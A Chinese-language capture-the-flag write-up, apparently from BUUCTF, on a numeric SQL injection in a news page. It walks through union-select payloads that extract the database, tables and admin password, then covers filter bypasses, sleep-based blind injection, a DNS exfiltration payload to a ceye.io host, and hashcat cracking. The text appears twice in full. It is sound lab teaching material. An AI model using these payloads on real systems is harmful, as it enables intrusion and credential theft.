1. 从热点到Flag非常规SQL注入的发现之旅第一次看到这个题目时我和大多数人一样习惯性地直奔登录框开始尝试各种注入手法。试了十几组常见的弱口令组合发现系统完全不为所动。这时候我才意识到可能陷入了典型的登录框思维定式——总觉得SQL注入点一定在用户名密码输入的地方。转身看到页面左侧有个不起眼的热点新闻栏目点开第一条新闻时浏览器地址栏突然跳转到一个新链接backend/content_detail.php?id1。这个细节立刻引起了我的注意——数字型参数直接暴露在URL里这不就是最经典的注入点特征吗果然把id1改成id1测试时页面直接报出了SQL语法错误。2. 突破常规寻找隐藏的注入点2.1 信息收集的艺术在CTF比赛中90%的SQL注入题都会把漏洞点放在登录界面这反而让很多选手形成了思维盲区。实际上像新闻列表、用户评论、搜索记录这些次要功能点往往藏着意想不到的突破口。我总结了一套快速定位非常规注入点的方法全面点击测试不放过页面上的每个可点击元素特别是那些会产生页面跳转的链接监控URL变化重点关注地址栏参数变化特别是带有?id、?user这类参数的请求检查隐藏参数用开发者工具查看网络请求有时注入点藏在POST请求的隐藏字段里2.2 数字型注入的快速验证确认content_detail.php可能存在注入后我用了最经典的三步验证法1 and 11 -- 正常返回 1 and 12 -- 无返回 1 or 11 -- 查看过滤情况当1 and 12没有返回数据时基本可以确定存在数字型注入漏洞。这里有个小技巧如果or被过滤可以尝试用||替代如果空格被过滤可以用/**/或者%0a绕过。3. 从注入点到数据库完整攻击链构建3.1 确定字段数与显位点先用order by确定字段数这个环节经常遇到页面无响应的情况。我的经验是1 order by 1 -- 正常 1 order by 2 -- 正常 1 order by 3 -- 报错确认有2个字段后通过union select定位显位点?id-1 union select 1,2这里有个关键细节把id值改为负数(-1)确保原查询不返回结果这样union后的结果才能完整显示。3.2 数据库信息提取实战获取数据库名的标准姿势?id-1 union select 1,database()拿到库名news后就可以开始提取表名了。这里我习惯用group_concat一次性获取所有表名避免多次请求?id-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schemanews)特别注意如果group_concat被禁用可以用limit分次查询?id-1 union select 1,(select table_name from information_schema.tables where table_schemanews limit 0,1)3.3 管理员凭证获取技巧发现admin表后先获取字段名?id-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schemanews and table_nameadmin)最后获取用户名密码时如果直接查询遇到问题可以尝试hex编码?id-1 union select 1,(select hex(password) from admin limit 1)4. 实战中的避坑指南4.1 常见过滤绕过方案关键词过滤用大小写混合(SeLeCt)、双写(selselectect)、注释符(sel/xxx/ect)空格过滤用括号代替?id(1)and(11)或者用换行符%0a引号过滤用十六进制表示字符串?id1 and username0x61646d696e4.2 无回显场景处理当页面没有明显回显时可以尝试时间盲注?id1 and if(11,sleep(3),0)布尔盲注通过页面响应时间或内容长度差异判断DNS外带?id1 and load_file(concat(\\\\,(select database()),.xxx.ceye.io\\abc))4.3 密码破解小技巧拿到md5加密的密码dba223cce96cb458550d0d195bdb2386后推荐几个常用破解方法直接去cmd5.com等网站查询用hashcat跑字典hashcat -m 0 hash.txt rockyou.txt如果是简单密码可以尝试在线解密工具5. 思维升级CTF中的非常规攻击面这道题给我最大的启示是真正的安全测试需要打破思维定式。我后来养成了几个新习惯测试每个参数包括看起来无关紧要的页码、分类ID等关注302跳转后的新参数这些常被开发者忽视不仅测试数字型参数也要尝试字符串型、JSON格式等注入点多留意页面源码中的隐藏注释有时会提示关键信息记得有次比赛注入点竟然藏在图片上传的文件名参数里。这种非常规漏洞点往往就是突破防线的关键。
Buuctf | 从“热点”到Flag:一次非常规SQL注入的实战复盘
发布时间:2026/5/27 19:31:47
1. 从热点到Flag非常规SQL注入的发现之旅第一次看到这个题目时我和大多数人一样习惯性地直奔登录框开始尝试各种注入手法。试了十几组常见的弱口令组合发现系统完全不为所动。这时候我才意识到可能陷入了典型的登录框思维定式——总觉得SQL注入点一定在用户名密码输入的地方。转身看到页面左侧有个不起眼的热点新闻栏目点开第一条新闻时浏览器地址栏突然跳转到一个新链接backend/content_detail.php?id1。这个细节立刻引起了我的注意——数字型参数直接暴露在URL里这不就是最经典的注入点特征吗果然把id1改成id1测试时页面直接报出了SQL语法错误。2. 突破常规寻找隐藏的注入点2.1 信息收集的艺术在CTF比赛中90%的SQL注入题都会把漏洞点放在登录界面这反而让很多选手形成了思维盲区。实际上像新闻列表、用户评论、搜索记录这些次要功能点往往藏着意想不到的突破口。我总结了一套快速定位非常规注入点的方法全面点击测试不放过页面上的每个可点击元素特别是那些会产生页面跳转的链接监控URL变化重点关注地址栏参数变化特别是带有?id、?user这类参数的请求检查隐藏参数用开发者工具查看网络请求有时注入点藏在POST请求的隐藏字段里2.2 数字型注入的快速验证确认content_detail.php可能存在注入后我用了最经典的三步验证法1 and 11 -- 正常返回 1 and 12 -- 无返回 1 or 11 -- 查看过滤情况当1 and 12没有返回数据时基本可以确定存在数字型注入漏洞。这里有个小技巧如果or被过滤可以尝试用||替代如果空格被过滤可以用/**/或者%0a绕过。3. 从注入点到数据库完整攻击链构建3.1 确定字段数与显位点先用order by确定字段数这个环节经常遇到页面无响应的情况。我的经验是1 order by 1 -- 正常 1 order by 2 -- 正常 1 order by 3 -- 报错确认有2个字段后通过union select定位显位点?id-1 union select 1,2这里有个关键细节把id值改为负数(-1)确保原查询不返回结果这样union后的结果才能完整显示。3.2 数据库信息提取实战获取数据库名的标准姿势?id-1 union select 1,database()拿到库名news后就可以开始提取表名了。这里我习惯用group_concat一次性获取所有表名避免多次请求?id-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schemanews)特别注意如果group_concat被禁用可以用limit分次查询?id-1 union select 1,(select table_name from information_schema.tables where table_schemanews limit 0,1)3.3 管理员凭证获取技巧发现admin表后先获取字段名?id-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schemanews and table_nameadmin)最后获取用户名密码时如果直接查询遇到问题可以尝试hex编码?id-1 union select 1,(select hex(password) from admin limit 1)4. 实战中的避坑指南4.1 常见过滤绕过方案关键词过滤用大小写混合(SeLeCt)、双写(selselectect)、注释符(sel/xxx/ect)空格过滤用括号代替?id(1)and(11)或者用换行符%0a引号过滤用十六进制表示字符串?id1 and username0x61646d696e4.2 无回显场景处理当页面没有明显回显时可以尝试时间盲注?id1 and if(11,sleep(3),0)布尔盲注通过页面响应时间或内容长度差异判断DNS外带?id1 and load_file(concat(\\\\,(select database()),.xxx.ceye.io\\abc))4.3 密码破解小技巧拿到md5加密的密码dba223cce96cb458550d0d195bdb2386后推荐几个常用破解方法直接去cmd5.com等网站查询用hashcat跑字典hashcat -m 0 hash.txt rockyou.txt如果是简单密码可以尝试在线解密工具5. 思维升级CTF中的非常规攻击面这道题给我最大的启示是真正的安全测试需要打破思维定式。我后来养成了几个新习惯测试每个参数包括看起来无关紧要的页码、分类ID等关注302跳转后的新参数这些常被开发者忽视不仅测试数字型参数也要尝试字符串型、JSON格式等注入点多留意页面源码中的隐藏注释有时会提示关键信息记得有次比赛注入点竟然藏在图片上传的文件名参数里。这种非常规漏洞点往往就是突破防线的关键。